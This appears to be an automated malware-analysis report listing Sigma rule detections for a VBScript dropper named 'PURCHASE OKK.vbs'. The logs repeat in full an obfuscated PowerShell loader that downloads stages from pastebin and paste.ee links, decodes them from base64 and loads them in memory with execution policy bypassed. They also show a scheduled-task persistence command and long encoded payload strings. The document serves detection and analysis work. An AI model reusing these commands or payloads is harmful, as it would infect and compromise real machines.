cgBp?GM?bwBy?GQ?aQBv?HM?bwBB?G0?ZQBu?C4?QwBs?GE?cwBz?DE?Jw?n?C??KQ?u?Ec?ZQB0?E0?Jw?g?Ds?J?BN?E8?R?BS?Gc?I??r?D0?I??n?GU?d?Bo?G8?Z??o?C??Jw?n?E0?cwBx?EI?SQBi?Fk?Jw?n?C??KQ?u?Ek?bgB2?G8?awBl?Cg?I??k?G4?dQBs?Gw?I??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?I??n?Cc?M??v?FQ?UgB4?E8?R?Ba?Dk?N??v?HI?LwBl?GU?LgBl?HQ?cwBh?H??Lw?v?Do?cwBw?HQ?d?Bo?Cc?Jw?g?Cw?I??n?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?Cc?I??s?C??Jw?n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/naAgdcTG' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/TRxODZ94/r/ee.etsap//:sptth'' , ''C:\Windows\system32\PURCHASE OKK.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/naAgdcTG' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/TRxODZ94/r/ee.etsap//:sptth'' , ''C:\Windows\system32\PURCHASE OKK.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPower

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1, CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/naAgdcTG' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/TRxODZ94/r/ee.etsap//:sptth'' , ''C:\Windows\system32\PURCHASE OKK.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7916, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1, ProcessId: 8040, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1, CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/naAgdcTG' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/TRxODZ94/r/ee.etsap//:sptth'' , ''C:\Windows\system32\PURCHASE OKK.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7916, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1, ProcessId: 8040, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PURCHASE OKK.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PURCHASE OKK.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PURCHASE OKK.vbs", ProcessId: 7588, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/naAgdcTG' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/TRxODZ94/r/ee.etsap//:sptth'' , ''C:\Windows\system32\PURCHASE OKK.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/naAgdcTG' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/TRxODZ94/r/ee.etsap//:sptth'' , ''C:\Windows\system32\PURCHASE OKK.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPower

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/naAgdcTG' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/TRxODZ94/r/ee.etsap//:sptth'' , ''C:\Windows\system32\PURCHASE OKK.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/naAgdcTG' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/TRxODZ94/r/ee.etsap//:sptth'' , ''C:\Windows\system32\PURCHASE OKK.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPower

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /tn task name /tr "C:\Users\user\AppData\Local\Temp\GLPd.vbs" /sc minute /mo minutos, CommandLine: "C:\Windows\System32\schtasks.exe" /create /tn task name /tr "C:\Users\user\AppData\Local\Temp\GLPd.vbs" /sc minute /mo minutos, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PURCHASE OKK.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7588, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /tn task name /tr "C:\Users\user\AppData\Local\Temp\GLPd.vbs" /sc minute /mo minutos, ProcessId: 7720, ProcessName: schtasks.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/naAgdcTG' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/TRxODZ94/r/ee.etsap//:sptth'' , ''C:\Windows\system32\PURCHASE OKK.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/naAgdcTG' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/TRxODZ94/r/ee.etsap//:sptth'' , ''C:\Windows\system32\PURCHASE OKK.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPower

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PURCHASE OKK.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PURCHASE OKK.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PURCHASE OKK.vbs", ProcessId: 7588, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?Ho?RgBL?GE?QQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?bgBh?EE?ZwBk?GM?V?BH?Cc?I??7?CQ?SQBl?H??RwBR?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?Ds?J?B3?GU?YgBD?Gw?aQBl?G4?d??g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?FI?VgBV?Fg?dg?g?D0?I??k?Hc?ZQBi?EM?b?Bp?GU?bgB0?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?Ho?RgBL?GE?QQ?g?Ck?I??7?CQ?UgBW?FU?W?B2?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BJ?GU?c?BH?FE?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?Cc?VQBU?EY?O??n?C??LQBm?G8?cgBj?GU?I??7?CQ?UwBU?GY?RwBs?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??y?C4?d?B4?HQ?Jw?p?C??Ow?k?F??a?By?Gw?Tg?g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?F??a?By?Gw?Tg?u?EU?bgBj?G8?Z?Bp?G4?Zw?g?D0?I?Bb?FM?eQBz?HQ?ZQBt?C4?V?Bl?Hg?d??u?EU?bgBj?G8?Z?Bp?G4?ZwBd?Do?OgBV?FQ?Rg?4?C??Ow?k?EQ?S?B6?FU?QQ?g?C??PQ?g?Cg?I?BH?GU?d??t?EM?bwBu?HQ?ZQBu?HQ?I??t?F??YQB0?Gg?I??k?Ek?ZQBw?Ec?UQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??PQ?g?CQ?U?Bo?HI?b?BO?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?EQ?S?B6?FU?QQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BT?FQ?ZgBH?Gw?I??t?GY?bwBy?GM?ZQ?g?Ds?J?BN?E8?R?BS?Gc?I??9?C??I??n?CQ?cgB5?GE?ZQBH?C??PQ?g?Cg?RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??Jw?n?Cc?I??r?C??J?BT?FQ?ZgBH?Gw?I??r?C??Jw?n?Cc?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?FU?V?BG?Dg?KQ?7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?EI?eQB0?GU?WwBd?F0?I??k?EY?eQBm?GQ?eg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?HI?eQBh?GU?Rw?u?HI?ZQBw?Gw?YQBj?GU?K??n?Cc?J??k?CQ?J??n?Cc?L??n?Cc?QQ?n?Cc?KQ?g?Ck?I??7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?FM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Cc?I??r?C??Jw?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?I??k?EY?eQBm?GQ?eg?g?Ck?Lg?n?C??Ow?k?E0?TwBE?FI?Zw?g?Cs?PQ?g?Cc?RwBl?HQ?V?B5?H??ZQ?o?C??Jw?n?E0?aQBz?GU?cgBp?GM?bwBy?GQ?aQBv?HM?bwBB?G0?ZQBu?C4?QwBs?GE?cwBz?DE?Jw?n?C??KQ?u?Ec?ZQB0?E0?Jw?g?Ds?J?BN?E8?R?BS?Gc?I??r?D0?I??n?GU?d?Bo?G8?Z??o?C??Jw?n?E0?cwBx?EI?SQBi?Fk?Jw?n?C??KQ?u?Ek?bgB2?G8?awBl?Cg?I??k?G4?dQBs?Gw?I??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?I??n?Cc?M??v?FQ?UgB4?E8?R?Ba?Dk?N??v?HI?LwBl?GU?LgBl?HQ?cwBh?H??Lw?v?Do?cwBw?HQ?d?Bo?Cc?Jw?g?Cw?I??n?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?C